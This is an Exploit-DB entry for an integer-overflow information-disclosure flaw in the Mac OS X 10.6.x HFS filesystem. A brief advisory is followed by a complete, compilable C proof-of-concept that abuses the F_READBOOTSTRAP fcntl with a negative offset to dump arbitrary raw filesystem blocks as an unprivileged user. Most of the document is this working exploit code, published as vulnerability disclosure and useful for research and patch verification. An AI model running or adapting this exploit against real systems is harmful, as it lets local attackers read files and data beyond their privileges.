Apple Mac OSX 10.6.x - HFS Subsystem Information Disclosure

EDB-ID:

35488


Platform:

OSX

Published:

2011-03-21

source: http://www.securityfocus.com/bid/46982/info

Apple Mac OS X is prone to a local information-disclosure vulnerability because of an integer-overflow error in the HFS subsystem.

A local attacker can exploit this issue to obtain sensitive information that may lead to further attacks. Due to the nature of this issue, local attackers may be able to execute arbitrary code in the context of the kernel, but this has not been confirmed.

Versions prior to OS X 10.6.7 are vulnerable.

NOTE: This issue was previously discussed in BID 46950 (Apple Mac OS X Prior to 10.6.7 Multiple Security Vulnerabilities) but has been given its own record to better document it. 

/*
 * Apple HFS+ F_READBOOTSTRAP Information Disclosure
 * by Dan Rosenberg of Virtual Security Research, LLC
 * @djrbliss on twitter
 *
 * Usage:
 * $ gcc hfs-dump.c -o hfs-dump
 * $ ./hfs-dump [size] [outfile]
 *
 * ----
 *
 * F_READBOOTSTRAP is an HFS+ fcntl designed to allow unprivileged callers to
 * retrieve the first 1024 bytes of the filesystem, which contains information
 * related to bootstrapping.
 *
 * However, due to an integer overflow in checking the requested range of
 * bytes, it is possible to retrieve arbitrary filesystem blocks, leading to an
 * information disclosure vulnerability.
 *
 * This issue was originally reported to Apple on July 1, 2010.  The fix was a
 * single line long and took more than 8 months to release.  No gold stars were
 * awarded.
 *
 */

#include <stdio.h>
#include <stdlib.h>
#include <sys/ioctl.h>
#include <sys/fcntl.h>
#include <sys/mman.h>

int main(int argc, char * argv[])
{

	int fd, outfd, ret;
	long num;
	unsigned char * buf;
	struct fbootstraptransfer arg;

	if(argc != 3) {
		printf("[*] Usage: %s [size] [outfile]\n", argv[0]);
		return -1;
	}

	num = atol(argv[1]);

	outfd = open(argv[2], O_RDWR | O_CREAT, 0644);

	if(outfd < 0) {
		printf("[*] Failed to open output file.\n");
		return -1;
	}

	ftruncate(outfd, num);

	buf = (unsigned char *)mmap(NULL, num, PROT_READ | PROT_WRITE,
				    MAP_SHARED, outfd, 0);

	if(buf == MAP_FAILED) {
		printf("[*] Not enough memory.\n");
		return -1;
	}

	arg.fbt_buffer = buf;
	arg.fbt_offset = num * (-1);
	arg.fbt_length = num;
	
	fd = open("/", O_RDONLY);

	if(fd < 0) {
		printf("[*] Failed to open filesystem root.\n");
		return -1;
	}
	
	ret = fcntl(fd, F_READBOOTSTRAP, &arg);

	if(ret < 0) {
		printf("[*] fcntl failed.\n");
		return -1;
	}

	printf("[*] Successfully dumped %lu bytes to %s.\n", num, argv[2]);
	return 0;

}